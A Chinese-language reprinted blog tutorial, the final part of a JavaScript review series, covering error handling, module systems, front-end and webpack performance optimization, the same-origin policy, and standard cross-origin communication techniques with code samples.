最新公告
  • 欢迎您光临起源地模板网,本站秉承服务宗旨 履行“站长”责任,销售只是起点 服务永无止境!立即加入钻石VIP
  • JavaScript核心知识总结(下)

    正文概述 掘金(jayliang)   2021-02-01   545

    前言

    这是这个系列的最后一篇,讲述的是一些 JavaScript 的进阶知识,也算是复习学习重点了。 中篇发布的时候审核不通过,感兴趣的同学可以移步JavaScript核心知识总结(中)观看,主要讲述函数、作用域、闭包、原型this等内容。

    异常处理

    为什么要处理异常

    • 增强用户体验;
    • 远程定位问题;
    • 未雨绸缪,及早发现问题;
    • 无法复现问题,尤其是移动端,机型,系统都是问题;
    • 完善的前端方案,前端监控系统;

    需要处理哪些异常

    • JS 语法错误、代码异常
    • AJAX 请求异常
    • 静态资源加载异常
    • Promise 异常
    • Iframe 异常
    • 跨域 Script error
    • 崩溃和卡顿

    Try-catch

    try-catch 只能捕获到同步的运行时错误,对语法异步错误却无能为力,捕获不到。

    1. 同步运行时错误(可):
    try {
      let name = 'jartto';
      console.log(nam);
    } catch(e) {
      console.log('捕获到异常:',e);
    }
    

    输出:

    捕获到异常: ReferenceError: nam is not defined
        at <anonymous>:3:15
    
    1. 语法错误(不可)

    我们修改一下代码,删掉一个单引号:

    try {
      let name = 'jartto;
      console.log(nam);
    } catch(e) {
    
      console.log('捕获到异常:',e);
    }
    

    输出:

    Uncaught SyntaxError: Invalid or unexpected token
    
    1. 异步错误(不可)
    try {
      setTimeout(() => {
        undefined.map(v => v);
      }, 1000)
    } catch(e) {
      console.log('捕获到异常:',e);
    }
    

    我们看看日志:

    Uncaught TypeError: Cannot read property 'map' of undefined
        at setTimeout (<anonymous>:3:11)
    

    并没有捕获到异常,这是需要我们特别注意的地方。

    window.onerror

    JS 运行时错误发生时,window 会触发一个 ErrorEvent 接口的 error 事件,并执行 window.onerror()

    /**
    * @param {String}  message    错误信息
    * @param {String}  source    出错文件
    * @param {Number}  lineno    行号
    * @param {Number}  colno    列号
    * @param {Object}  error  Error对象(对象)
    */
    
    window.onerror = function(message, source, lineno, colno, error) {
       console.log('捕获到异常:',{message, source, lineno, colno, error});
    }
    

    可以捕获的异常:

    • 同步运行时错误
    • 异步运行时错误

    不可捕获的异常

    • 语法错误
    • 请求错误
    • 静态资源错误

    window.addEventListener

    当一项资源(如图片或脚本)加载失败,加载资源的元素会触发一个 Event 接口的 error 事件,并执行该元素上的onerror() 处理函数。这些 error 事件不会向上冒泡到 window ,不过(至少在 Firefox 中)能被单一的window.addEventListener 捕获。

    <script>
    window.addEventListener('error', (error) => {
        console.log('捕获到异常:', error);
    }, true)
    </script>
    <img src="./jartto.png">
    

    控制台输出:

    JavaScript核心知识总结(下)

    由于网络请求异常不会事件冒泡,因此必须在捕获阶段将其捕捉到才行,但是这种方式虽然可以捕捉到网络请求的异常,但是无法判断 HTTP 的状态是 404 还是其他比如 500 等等,所以还需要配合服务端日志才进行排查分析才可以。

    Promise Catch

    promise 中使用 catch 可以非常方便的捕获到异步 error ,这个很简单。

    没有写 catchPromise 中抛出的错误无法被 onerrortry-catch 捕获到,所以我们务必要在 Promise 中不要忘记写 catch 处理抛出的异常。

    解决方案: 为了防止有漏掉的 Promise 异常,建议在全局增加一个对 unhandledrejection 的监听,用来全局监听Uncaught Promise Error。使用方式:

    window.addEventListener("`unhandledrejection`", function(e){
      console.log(e);
    });
    

    模块化

    CommonJs

    node.js的模块系统,就是参照CommonJS规范实现的。在CommonJS中,有一个全局性方法require(),用于加载模块。例如,要加载一个math.js,可以如下这样加载

    var math = require('math')
    //然后就可以调用math中的方法
    math.add(2,3)//5
    

    CommonJS定义的模块分为:

    • 模块引用---require---用来引入外部模块
    • 模块定义---exports---用于导出当前模块的方法或变量
    • 模块标识---module---代表模块本身

    CommonJS的原理以及简单实现

    简单例子

    var module = {
      exports: {}
    };
    
    (function(module, exports) {
      exports.multiply = function (n) { return n * 1000 };
    }(module, module.exports))
    
    var f = module.exports.multiply;
    f(5) // 5000 
    

    上面代码向一个立即执行函数提供 moduleexports 两个外部变量,模块就放在这个立即执行函数里面。模块的输出值放在 module.exports 之中,这样就实现了模块的加载。

    Browserify 的实现

    Browserify 是目前最常用的 CommonJS 格式转换的工具。

    请看一个例子,main.js 模块加载 foo.js 模块。

    // foo.js
    module.exports = function(x) {
      console.log(x);
    };
    
    // main.js
    var foo = require("./foo");
    foo("Hi");
    

    使用下面的命令,就能将main.js转为浏览器可用的格式。

    $ browserify main.js > compiled.js

    Browserify到底做了什么?安装一下browser-unpack,就能看清楚了。

    $ npm install browser-unpack -g

    然后,将前面生成的compile.js解包。

    $ browser-unpack < compiled.js

    [
      {
        "id":1,
        "source":"module.exports = function(x) {\n  console.log(x);\n};",
        "deps":{}
      },
      {
        "id":2,
        "source":"var foo = require(\"./foo\");\nfoo(\"Hi\");",
        "deps":{"./foo":1},
        "entry":true
      }
    ]
    

    可以看到,browserify 将所有模块放入一个数组,id 属性是模块的编号,source 属性是模块的源码,deps 属性是模块的依赖。

    因为 main.js 里面加载了 foo.js,所以 deps 属性就指定 ./foo 对应1号模块。执行的时候,浏览器遇到 require('./foo') 语句,就自动执行1号模块的 source 属性,并将执行后的 module.exports 属性值输出。

    AMD

    基于commonJS规范的nodeJS出来以后,服务端的模块概念已经形成,很自然地,大家就想要客户端模块。而且最好两者能够兼容,一个模块不用修改,在服务器和浏览器都可以运行。但是,由于一个重大的局限,使得CommonJS规范不适用于浏览器环境。还是上面的代码,如果在浏览器中运行,会有一个很大的问题,你能看出来吗?

      var math = require('math');
      math.add(2, 3);
    

    第二行math.add(2, 3),在第一行require('math')之后运行,因此必须等math.js加载完成。也就是说,如果加载时间很长,整个应用就会停在那里等。您会注意到 require 是同步的。

    这对服务器端不是一个问题,因为所有的模块都存放在本地硬盘,可以同步加载完成,等待时间就是硬盘的读取时间。但是,对于浏览器,这却是一个大问题,因为模块都放在服务器端,等待时间取决于网速的快慢,可能要等很长时间,浏览器处于"假死"状态。

    因此,浏览器端的模块,不能采用"同步加载"(synchronous),只能采用"异步加载"(asynchronous)。这就是AMD规范诞生的背景。

    CommonJS是主要为了JS在后端的表现制定的,他是不适合前端的,AMD(异步模块定义)出现了,它就主要为前端JS的表现制定规范。

    AMD是"Asynchronous Module Definition"的缩写,意思就是"异步模块定义"。它采用异步方式加载模块,模块的加载不影响它后面语句的运行。所有依赖这个模块的语句,都定义在一个回调函数中,等到加载完成之后,这个回调函数才会运行。

    AMD也采用require()语句加载模块,但是不同于CommonJS,它要求两个参数:

      require([module], callback);
    

    第一个参数[module],是一个数组,里面的成员就是要加载的模块;第二个参数callback,则是加载成功之后的回调函数。如果将前面的代码改写成AMD形式,就是下面这样:

      require(['math'], function (math) {
        math.add(2, 3);
      });
    

    以RequireJS为例说明AMD规范

    一、为什么要用require.js?

    最早的时候,所有Javascript代码都写在一个文件里面,只要加载这一个文件就够了。后来,代码越来越多,一个文件不够了,必须分成多个文件,依次加载。下面的网页代码,相信很多人都见过。

      <script src="1.js"></script>
      <script src="2.js"></script>
      <script src="3.js"></script>
      <script src="4.js"></script>
      <script src="5.js"></script>
      <script src="6.js"></script>
    

    这段代码依次加载多个js文件。

    这样的写法有很大的缺点。首先,加载的时候,浏览器会停止网页渲染,加载文件越多,网页失去响应的时间就会越长;其次,由于js文件之间存在依赖关系,因此必须严格保证加载顺序(比如上例的1.js要在2.js的前面),依赖性最大的模块一定要放到最后加载,当依赖关系很复杂的时候,代码的编写和维护都会变得困难。

    require.js的诞生,就是为了解决这两个问题:

     1.实现js文件的异步加载,避免网页失去响应

     2.管理模块之间的依赖性,便于代码的编写和维护

    AMD && CMD

    对于依赖的模块,AMD 是提前执行,CMD 是延迟执行。不过 RequireJS 从 2.0 开始,也改成可以延迟执行(根据写法不同,处理方式不同)。CMD 推崇 as lazy as possible.

    CMD 推崇依赖就近,AMD 推崇依赖前置。看代码:

    // CMD
    define(function(require, exports, module) {
        var a = require('./a')
        a.doSomething()
        // 此处略去 100 行
        var b = require('./b') // 依赖可以就近书写
        b.doSomething()
    // ...
    })
    
    // AMD 默认推荐的是
    define(['./a', './b'], function(a, b) { // 依赖必须一开始就写好
        a.doSomething()
        // 此处略去 100 行
        b.doSomething()
    ...
    })
    

    虽然 AMD 也支持 CMD 的写法,同时还支持将 require 作为依赖项传递,但 RequireJS 的作者默认是最喜欢上面的写法,也是官方文档里默认的模块定义写法。

    AMD 的 API 默认是一个当多个用,CMD 的 API 严格区分,推崇职责单一。比如 AMD 里,require 分全局 require 和局部 require,都叫 require。CMD 里,没有全局 require,而是根据模块系统的完备性,提供 seajs.use 来实现模块系统的加载启动。CMD 里,每个 API 都简单纯粹。

    ES6 Module

    • 命令
      • export:规定模块对外接口

        • 默认导出:export default Person(导入时可指定模块任意名称,无需知晓内部真实名称)
        • 单独导出:export const name = "Bruce"
        • 按需导出:export { age, name, sex }(推荐)
        • 改名导出:export { name as newName }
      • import:导入模块内部功能

        • 默认导入:import Person from "person"
        • 整体导入:import * as Person from "person"
        • 按需导入:import { age, name, sex } from "person"
        • 改名导入:import { name as newName } from "person"
        • 自执导入:import "person"
        • 复合导入:import Person, { name } from "person"
      • 复合模式:export命令和import命令结合在一起写成一行,变量实质没有被导入当前模块,相当于对外转发接口,导致当前模块无法直接使用其导入变量

        • 默认导入导出:export { default } from "person"
        • 整体导入导出:export * from "person"
        • 按需导入导出:export { age, name, sex } from "person"
        • 改名导入导出:export { name as newName } from "person"
        • 具名改默认导入导出:export { name as default } from "person"
        • 默认改具名导入导出:export { default as name } from "person"

    CommonJS和ESM的区别

    • CommonJS输出值的拷贝ESM输出值的引用

      • CommonJS一旦输出一个值,模块内部的变化就影响不到这个值
      • ESM是动态引用且不会缓存值,模块里的变量绑定其所在的模块,等到脚本真正执行时,再根据这个只读引用到被加载的那个模块里去取值
    • CommonJS是运行时加载,ESM是编译时加载

      • CommonJS加载模块是对象(即module.exports),该对象只有在脚本运行完才会生成
      • ESM加载模块不是对象,它的对外接口只是一种静态定义,在代码静态解析阶段就会生成

    循环加载

    • 定义:脚本A的执行依赖脚本B,而脚本A的执行又依赖脚本B

    • 加载原理

    • CommonJSrequire()首次加载脚本就会执行整个脚本,在内存里生成一个对象缓存下来,二次加载脚本时直接从缓存中获取

    • ESMimport命令加载变量不会被缓存,而是成为一个指向被加载模块的引用

    • 循环加载

    • CommonJS:只输出已经执行的部分,还未执行的部分不会输出

    • ESM:需开发者自己保证真正取值时能够取到值(可把变量写成函数形式,函数具有提升作用)

    性能优化

    性能优化的方向主要分为以下几点:

    • 编写高性能的 JavaScript
    • 浏览器渲染
    • 网络优化
    • 打包工具的优化,以 webpack 为例

    编写高性能的JavaScript

    常见编码规范

    • js 脚本放在页面底部,加快渲染页面
    • js 脚本将脚本成组打包,减少请求
    • 使用非阻塞方式下载 js 脚本
    • 尽量使用局部变量来保存全局变量
    • 遵循严格模式:"use strict";
    • 尽量减少使用闭包
    • 减少对象成员嵌套
    • 缓存DOM节点访问
    • 避免使用eval()Function()构造器
    • 尽量使用直接量取创建对象和数组
    • 最小化重绘(repaint)和回流(reflow)

    为什么JS要放到body尾部?

    如果JS需要绑定操作DOM,那么放在header中如果处理不当就不会绑定到DOM

    **JS 引擎是独立于渲染引擎存在的。**我们的 JS 代码在文档的何处插入,就在何处执行。当 HTML 解析器遇到一个 script 标签时,它会暂停渲染过程,将控制权交给 JS 引擎。JS 引擎对内联的 JS 代码会直接执行,对外部 JS 文件还要先获取到脚本、再进行执行。等 JS 引擎运行完毕,浏览器又会把控制权还给渲染引擎,继续 CSSOMDOM 的构建。

    浏览器之所以让 JS 阻塞其它的活动,是因为它不知道 JS 会做什么改变,担心如果不阻止后续的操作,会造成混乱。

    结论:

    • 如果JS在header中,浏览器会阻塞并等待JS加载完毕并执行
    • 如果JS在body尾部,浏览器会进行一次提前渲染,从而提前首屏出现时间

    参考demo: 执行/性能优化/testDemo/slowServer/index.js,注意查看终端

    非核心代码的异步加载

    • 动态脚本加载
      • 使用 JS 创建一个 script 标签再插入到页面中
    • defer(IE)
      • 整个HTML解析完后才会执行,如果是多个,按照加载顺序依次执行
    • async
      • 加载完之后立即执行,如果是多个,执行和加载顺序无关

    header中meta

    兼容性配置,让IE使用最高级的Edge渲染,如果有chrome就使用chrome渲染。

    <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">
    

    如果是双核浏览器,优先使用webkit引擎

    <meta name="render" content="webkit">
    

    懒加载

    懒加载的原理就是只加载自定义区域(通常是可视区域,但也可以是即将进入可视区域)内需要加载的东西。 对于图片来说,先设置图片标签的 src 属性为一张占位图或为空,将真实的图片资源放入一个自定义属性中,当进入自定义区域时,就将自定义属性替换为 src 属性,这样图片就会去下载资源,实现了图片懒加载。

    浏览器渲染

    HTML 经过解析生成 DOM 树; CSS 经过解析生成 Style Rules。 二者一结合生成了Render Tree。 通过layout计算出DOM要显示的宽高、位置、颜色。 最后渲染在界面上,用户就看到了

    浏览器的渲染过程:

    • 解析HTML构建DOM(树),并行请求css/image/js
    • CSS文件下载完成,开始构建CSSOM(CSS树)
    • CSSOM构建结束后,和DOM一起生成render tree(渲染树)
    • 布局(Layout):计算出每个节点在屏幕中的位置
    • 显示(Painting):通过显卡把页面画到屏幕上

    DOM树与渲染树的区别

    • DOM树与HTML标签一一对应,包括head和隐藏元素
    • 渲染树不包括 head 和隐藏元素,大段文本的每一个行都是独立节点,每一个节点都有对应的 css 属性

    CSS会阻塞DOM解析吗

    对于一个HTML文档来说,不管是内联还是外链的CSS,都会阻碍后续的DOM渲染,但是不会阻碍后续的DOM解析

    当css文件放在<head>中时,虽然css解析也会阻碍后续DOM的渲染,但是在解析CSS的同时也在解析DOM,所以等到css解析完毕就会逐步的渲染页面了

    重绘和回流(重排)的区别和关系?

    • 重绘:当渲染树中的元素外观(如:颜色)发生改变,不影响布局时,产生重绘
    • 回流:当渲染树中的元素的布局(如:尺寸、位置、隐藏/状态状态)发生改变时,产生重绘回流
    • 注意:JS 获取 Layout 属性值(如:offsetLeftscrollTopgetComputedStyle 等)也会引起回流。因为浏览器需要通过回流计算最新值
    • 回流必将引起重绘,而重绘不一定会引起回流

    DOM结构中的各元素都有自己的盒子,这些都需要浏览器根据各种样式来计算并更具结果将元素放到它该出现的位置,这个过程叫 reflow

    触发reflow

    • 添加或删除可见的DOM元素。
    • 元素位置改变。
    • 元素的尺寸改变(包括:内外边距、边框厚度、宽度、高度等属性的改变)。
    • 内容改变。
    • 页面渲染器初始化。
    • 浏览器窗口尺寸改变。

    解决方法:

    • 需要要对DOM元素进行复杂的操作时,可以先隐藏(display:"none"),操作完成后再显示

    • 需要创建多个 DOM 节点时,使用 DocumentFragment 创建完后一次性的加入 document,或使用字符串拼接方式构建好对应HTML后再使用innerHTML来修改页面

    • 缓存 Layout 属性值,如:var left = elem.offsetLeft; 这样,多次使用 left 只产生一次回流

    • 避免用 table 布局(table 元素一旦触发回流就会导致 table 里所有的其它元素回流)

    • 避免使用 css 表达式(expression),因为每次调用都会重新计算值(包括加载页面)

    • 尽量使用 css 属性简写,如:用 border 代替 border-width, border-style, border-color

    • 批量修改元素样式:elem.classNameelem.style.cssText 代替 elem.style.xxx

    网络优化

    合并资源文件,减少HTTP请求

    浏览器并发的HTTP请求是由数量限制的(比如桌面浏览器并发请求可能是8个,手机浏览器是6个),如果一下子并发的几十个请求那么会有很多请求会停下来等,等前面的请求好了下一个再进去,这样就延长了整个页面的加载时间

    压缩资源文件减小请求大小

    文件大小越小当然加载速度就越快。 可对代码进行压缩,去掉空格、注释、变量替换,在传输时,使用gzip等压缩方式也可以降低资源文件的大小。

    缓存分类

    • 强缓存
      • 直接从浏览器缓存中读取,不去后台查询是否过期
      • Expire 过期时间
      • Cache-Control:max-age=3600 过期秒数
    • 协商缓存
      • 每次使用缓存之前先去后台确认一下
      • Last-Modified If-Modified-Since 上次修改时间
      • Etag If-None-Match
    • 如何区别
      • 是否设置了no-cache

    利用缓存机制,尽可能使用缓存减少请求

    浏览器是有缓存机制的,在返回资源的时候设置一个cache-control设置过期时间,在过期时间内浏览器会默认使用本地缓存。

    但缓存机制也存在一定的问题,因为网站开发是阶段性的,隔一段时间会发布一个新的版本。因为HTTP请求是根据url来定位的,如果资源文件名的url没有发生更改那么浏览器还是会使用缓存,这个时候怎么办那? 这时就需要一个缓存更新机制来让修改过的文件具有一个新的名字。 最简单的方法就是在url后加一个时间戳,但是这会导致只要有新的版本发布就会重新获取所有的新资源。 一个现代流行的方法就是根据文件计算一个hash值,这个hash值是根据文件的更新变化而变化的。 当浏览器获取文件时如果这个文件名有更新那么就会请求新的文件。

    DNS预解析

    现代浏览器在 DNS Prefetch 上做了两项工作:

    1. html 源码下载完成后,会解析页面的包含链接的标签,提前查询对应的域名

    2. 对于访问过的页面,浏览器会记录一份域名列表,当再次打开时,会在 html 下载的同时去解析 DNS

    自动解析

    浏览器使用超链接的href属性来查找要预解析的主机名。当遇到a标签,浏览器会自动将href中的域名解析为IP地址,这个解析过程是与用户浏览网页并行处理的。但是为了确保安全性,在HTTPS页面中不会自动解析

    手动解析

    预解析某域名
    <link rel="dns-prefetch" href="//img.alicdn.com">
    
    强制开启HTTPS下的DNS预解析
    <meta http-equiv="x-dns-prefetch-control" content="on">
    

    CDN

    CDN 的原理是尽可能的在各个地方分布机房缓存数据。

    因此,我们可以将静态资源尽量使用 CDN 加载,由于浏览器对于单个域名有并发请求上限,可以考虑使用多个 CDN 域名。并且对于 CDN 加载静态资源需要注意 CDN 域名要与主站不同,否则每次请求都会带上主站的 Cookie ,平白消耗流量。

    预加载

    在开发中,可能会遇到这样的情况。有些资源不需要马上用到,但是希望尽早获取,这时候就可以使用预加载。

    预加载其实是声明式的 fetch ,强制浏览器请求资源,并且不会阻塞 onload 事件,可以使用以下代码开启预加载。

    预加载可以一定程度上降低首屏的加载时间,因为可以将一些不影响首屏但重要的文件延后加载,唯一缺点就是兼容性不好。

    <link rel="preload" href="http://example.com">
    

    预渲染

    可以通过预渲染将下载的文件预先在后台渲染,可以使用以下代码开启预渲染。

    图片优化

    • 不用图片。很多时候会使用到很多修饰类图片,其实这类修饰图片完全可以用 CSS 去代替。
    • 对于移动端按理说,图片不需要加载原图,可请求裁剪好的图片
    • 小图使用base64格式
    • 将多个图标文件整合到一张图中(雪碧图)
    • 采用正确的图片格式
      • 对于能够显示 WebP 格式的浏览器尽量使用 WebP 格式。因为 WebP 格式具有更好的图像数据压缩算法,能带来更小的图片体积,而且拥有肉眼识别无差异的图像质量,缺点就是兼容性并不好
      • 色彩很多的使用 JPEG
      • 色彩种类少的使用 PNG ,有的可用SVG代替

    webpack中优化

    主要优化思路是以下两点:

    • 有哪些方式可以减少 Webpack 的打包时间
    • 有哪些方式可以让 Webpack 打出来的包更小

    减小打包后文件体积

    按需加载

    如果我们将页面全部打包进一个 JS 文件的话,虽然将多个请求合并了,但是同样也加载了很多并不需要的代码,耗费了更长的时间。那么为了首页能更快地呈现给用户,我们肯定是希望首页能加载的文件体积越小越好,这时候我们就可以使用按需加载,将每个路由页面单独打包为一个文件。

    Tree Shaking

    Tree Shaking 可以实现删除项目中未被引用的代码,比如

    // test.js
    export const a = 1
    export const b = 2
    // index.js
    import { a } from './test.js'
    

    对于以上情况,test 文件中的变量 b 如果没有在项目中使用到的话,就不会被打包到文件中。

    如果你使用 Webpack 4 的话,开启生产环境就会自动启动这个优化功能。

    Scope Hoisting

    Scope Hoisting 会分析出模块之间的依赖关系,尽可能的把打包出来的模块合并到一个函数中去。 比如我们希望打包两个文件

    // test.js
    export const a = 1
    // index.js
    import { a } from './test.js'
    

    对于这种情况,我们打包出来的代码会类似这样

    [
      /* 0 */
      function (module, exports, require) {
        //...
      },
      /* 1 */
      function (module, exports, require) {
        //...
      }
    ]
    

    但是如果我们使用 Scope Hoisting 的话,代码就会尽可能的合并到一个函数中去,也就变成了这样的类似代码

    [
      /* 0 */
      function (module, exports, require) {
        //...
      }
    ]
    

    样的打包方式生成的代码明显比之前的少多了。如果在 Webpack4 中你希望开启这个功能,只需要启用 optimization.concatenateModules 就可以了。

    module.exports = {
      optimization: {
        concatenateModules: true
      }
    }
    

    加快打包速度

    优化 Loader

    对于 Loader 来说,影响打包效率首当其冲必属 Babel 了。因为 Babel 会将代码转为字符串生成 AST(抽象语法树),然后对 AST 继续进行转变最后再生成新的代码,项目越大,转换代码越多,效率就越低。当然了,我们是有办法优化的。

    首先我们可以减小 Loader 的文件搜索范围

    module.exports = {
      module: {
        rules: [
          {
            // js 文件才使用 babel
            test: /\.js$/,
            loader: 'babel-loader',
            // 只在 src 文件夹下查找
            include: [resolve('src')],
            // 不会去查找的路径
            exclude: /node_modules/
          }
        ]
      }
    }
    

    还可以将 Babel 编译过的文件缓存起来,下次只需要编译更改过的代码文件即可,这样可以大幅度加快打包时间。

    loader: 'babel-loader?cacheDirectory=true'
    

    HappyPack

    受限于 Node 是单线程运行的,所以 Webpack 在打包的过程中也是单线程的,特别是在执行 Loader 的时候,长时间编译的任务很多,这样就会导致等待的情况。

    HappyPack 可以将 Loader 的同步执行转换为并行的,这样就能充分利用系统资源来加快打包效率了

    module: {
      loaders: [
        {
          test: /\.js$/,
          include: [resolve('src')],
          exclude: /node_modules/,
          // id 后面的内容对应下面
          loader: 'happypack/loader?id=happybabel'
        }
      ]
    },
    plugins: [
      new HappyPack({
        id: 'happybabel',
        loaders: ['babel-loader?cacheDirectory'],
        // 开启 4 个线程
        threads: 4
      })
    ]
    

    DllPlugin

    DllPlugin 可以将特定的类库提前打包然后引入。这种方式可以极大的减少打包类库的次数,只有当类库更新版本才有需要重新打包,并且也实现了将公共代码抽离成单独文件的优化方案。

    // 单独配置在一个文件中
    // webpack.dll.conf.js
    const path = require('path')
    const webpack = require('webpack')
    module.exports = {
      entry: {
        // 想统一打包的类库
        vendor: ['react']
      },
      output: {
        path: path.join(__dirname, 'dist'),
        filename: '[name].dll.js',
        library: '[name]-[hash]'
      },
      plugins: [
        new webpack.DllPlugin({
          // name 必须和 output.library 一致
          name: '[name]-[hash]',
          // 该属性需要与 DllReferencePlugin 中一致
          context: __dirname,
          path: path.join(__dirname, 'dist', '[name]-manifest.json')
        })
      ]
    }
    

    然后我们需要执行这个配置文件生成依赖文件,接下来我们需要使用 DllReferencePlugin 将依赖文件引入项目中

    // webpack.conf.js
    module.exports = {
      // ...省略其他配置
      plugins: [
        new webpack.DllReferencePlugin({
          context: __dirname,
          // manifest 就是之前打包出来的 json 文件
          manifest: require('./dist/vendor-manifest.json'),
        })
      ]
    }
    

    代码压缩

    Webpack3 中,我们一般使用 UglifyJS 来压缩代码,但是这个是单线程运行的,为了加快效率,我们可以使用 webpack-parallel-uglify-plugin 来并行运行 UglifyJS ,从而提高效率。

    Webpack4 中,我们就不需要以上这些操作了,只需要将 mode 设置为 production 就可以默认开启以上功能。代码压缩也是我们必做的性能优化方案,当然我们不止可以压缩 JS 代码,还可以压缩 HTML、CSS 代码,并且在压缩 JS 代码的过程中,我们还可以通过配置实现比如删除 console.log 这类代码的功能。

    一些小的优化点

    • resolve.extensions 用来表明文件后缀列表,默认查找顺序是 ['.js', '.json'],如果你的导入文件没有添加后缀就会按照这个顺序查找文件。我们应该尽可能减少后缀列表长度,然后将出现频率高的后缀排在前面
    • resolve.alias 可以通过别名的方式来映射一个路径,能让 Webpack 更快找到路径
    • module.noParse 如果你确定一个文件下没有其他依赖,就可以使用该属性让 Webpack 不扫描该文件,这种方式对于大型的类库很有帮助

    web安全

    web中常见的安全问题有以下数种:

    • 同源策略
    • XSS 跨站脚本攻击
    • CSRF 跨站请求伪造

    同源策略

    最初,它的含义是指,A网页设置的 CookieB网页不能打开,除非这两个网页"同源"。所谓"同源"指的是"三个相同"。

    • 协议相同
    • 域名相同
    • 端口相同

    目的

    同源政策的目的,是为了保证用户信息的安全,防止恶意的网站窃取数据。

    设想这样一种情况:A网站是一家银行,用户登录以后,又去浏览其他网站。如果其他网站可以读取A网站的 Cookie,会发生什么?

    很显然,如果 Cookie 包含隐私(比如存款总额),这些信息就会泄漏。更可怕的是,Cookie 往往用来保存用户的登录状态,如果用户没有退出登录,其他网站就可以冒充用户,为所欲为。因为浏览器同时还规定,提交表单不受同源政策的限制。

    由此可见,"同源政策"是必需的,否则 Cookie 可以共享,互联网就毫无安全可言了。

    限制范围

    (1) Cookie``、LocalStorageIndexDB 无法读取。

    (2) DOM 无法获得。

    (3) AJAX 请求不能发送。

    跨域方案

    • CORS
    • JSONP
    • document.domain+iframe
    • location.hash+iframe
    • window.name+iframe
    • postMessage
    • WebSocket
    • node中间件
    • nginx代理

    CORS跨域资源请求

    CORS(Cross-origin resource sharing)跨域资源请求

    浏览器在请求一个跨域资源的时候,如果是跨域的Ajax请求,他会在请求头中加一个origin字段,但他是不知道这个资源服务端是否允许跨域请求的。浏览器会发送到服务端,如果服务器返回的头中没有'Access-Control-Allow-Origin': '对应网址或 * ' 的话,那么浏览器就会把请求内容给忽略掉,并且在控制台报错

    CORS限制

    允许的请求方法

    • GET
    • POST
    • HEAD

    允许的Content-Type

    • text/plain
    • multipart/form-data
    • application/x-www-form-urlencoded

    其他类型的请求方法和Content-Type需要通过预请求验证后然后才能发送

    CORS预请求

    CORS详解

    跨域资源共享标准新增了一组 HTTP 首部字段,允许服务器声明哪些源站有权限访问哪些资源。另外,规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 GET 以外的 HTTP 请求,或者搭配某些 MIME 类型的 POST 请求),浏览器必须首先使用 OPTIONS 方法发起一个预检请求。

    服务器在HTTP header中加入允许请求的方法和Content-Type后,其他指定的方法和Content-Type就可以成功请求了

    'Access-Control-Allow-Headers': '允许Content-Type'
    'Access-Control-Allow-Methods': '允许的请求方法'
    'Access-Control-Max-Age': '预请求允许其他方法和类型传输的时间'
    

    JSONP跨域

    浏览器上虽然有同源限制,但是像 script标签、link标签、img标签、iframe标签,这种在标签上通过src地址来加载一些内容的时候浏览器是允许进行跨域请求的

    所以JSONP的原理就是:

    • 创建一个script标签,这个script标签的src就是请求的地址;
    • 这个script标签插入到DOM中,浏览器就根据src地址访问服务器资源
    • 返回的资源是一个文本,但是因为是在script标签中,浏览器会执行它
    • 而这个文本恰好是函数调用的形式,即函数名(数据),浏览器会把它当作JS代码来执行即调用这个函数
    • 只要提前约定好这个函数名,并且这个函数存在于window对象中,就可以把数据传递给处理函数。

    document.domain+iframe

    仅限主域相同,子域不同

    父窗口:http://www.domain.com/a.html

    <iframe id="iframe" src="http://child.domain.com/b.html"></iframe>
    <script>
        document.domain = 'domain.com';
        var user = 'admin';
    </script>
    

    子窗口:http://child.domain.com/b.html

    <script>
        document.domain = 'domain.com';
        // 获取父窗口中变量
        alert('get js data from parent ---> ' + window.parent.user);
    </script>
    

    location.hash + iframe

    实现原理: a欲与b跨域相互通信,通过中间页c来实现。 三个页面,不同域之间利用iframelocation.hash传值,相同域之间直接js访问来通信。

    具体实现:A域:a.html -> B域:b.html -> A域:c.html,a与b不同域只能通过hash值单向通信,b与c也不同域也只能单向通信,但c与a同域,所以c可通过parent.parent访问a页面所有对象。

    1.)a.html:(www.domain1.com/a.html)

    <iframe id="iframe" src="http://www.domain2.com/b.html" style="display:none;"></iframe>
    <script>
        var iframe = document.getElementById('iframe');
    
        // 向b.html传hash值
        setTimeout(function() {
            iframe.src = iframe.src + '#user=admin';
        }, 1000);
        
        // 开放给同域c.html的回调方法
        function onCallback(res) {
            alert('data from c.html ---> ' + res);
        }
    </script>
    

    2.)b.html:(www.domain2.com/b.html)

    <iframe id="iframe" src="http://www.domain1.com/c.html" style="display:none;"></iframe>
    <script>
        var iframe = document.getElementById('iframe');
    
        // 监听a.html传来的hash值,再传给c.html
        window.onhashchange = function () {
            iframe.src = iframe.src + location.hash;
        };
    </script>
    

    3.)c.html:(www.domain1.com/c.html)

    <script>
        // 监听b.html传来的hash值
        window.onhashchange = function () {
            // 再通过操作同域a.html的js回调,将结果传回
            window.parent.parent.onCallback('hello: ' + location.hash.replace('#user=', ''));
        };
    </script>
    

    window.name + iframe

    window.name属性的独特之处:name值在不同的页面(甚至不同域名)加载后依旧存在,并且可以支持非常长的 name 值(2MB)。

    1.)a.html:(www.domain1.com/a.html)

    var proxy = function(url, callback) {
        var state = 0;
        var iframe = document.createElement('iframe');
    
        // 加载跨域页面
        iframe.src = url;
    
        // onload事件会触发2次,第1次加载跨域页,并留存数据于window.name
        iframe.onload = function() {
            if (state === 1) {
                // 第2次onload(同域proxy页)成功后,读取同域window.name中数据
                callback(iframe.contentWindow.name);
                destroyFrame();
    
            } else if (state === 0) {
                // 第1次onload(跨域页)成功后,切换到同域代理页面
                iframe.contentWindow.location = 'http://www.domain1.com/proxy.html';
                state = 1;
            }
        };
    
        document.body.appendChild(iframe);
    
        // 获取数据以后销毁这个iframe,释放内存;这也保证了安全(不被其他域frame js访问)
        function destroyFrame() {
            iframe.contentWindow.document.write('');
            iframe.contentWindow.close();
            document.body.removeChild(iframe);
        }
    };
    
    // 请求跨域b页面数据
    proxy('http://www.domain2.com/b.html', function(data){
        alert(data);
    });
    

    2.)proxy.html:(www.domain1.com/proxy.... 中间代理页,与a.html同域,内容为空即可。

    3.)b.html:(www.domain2.com/b.html)

    <script>
        window.name = 'This is domain2 data!';
    </script>
    

    总结:通过iframe的src属性由外域转向本地域,跨域数据即由iframe的window.name从外域传递到本地域。这个就巧妙地绕过了浏览器的跨域访问限制,但同时它又是安全操作。

    postMessage跨域

    postMessage是HTML5 XMLHttpRequest Level 2中的API,且是为数不多可以跨域操作的window属性之一,它可用于解决以下方面的问题:

    • 页面和其打开的新窗口的数据传递
    • 多窗口之间消息传递
    • 页面与嵌套的iframe消息传递
    • 上面三个场景的跨域数据传递

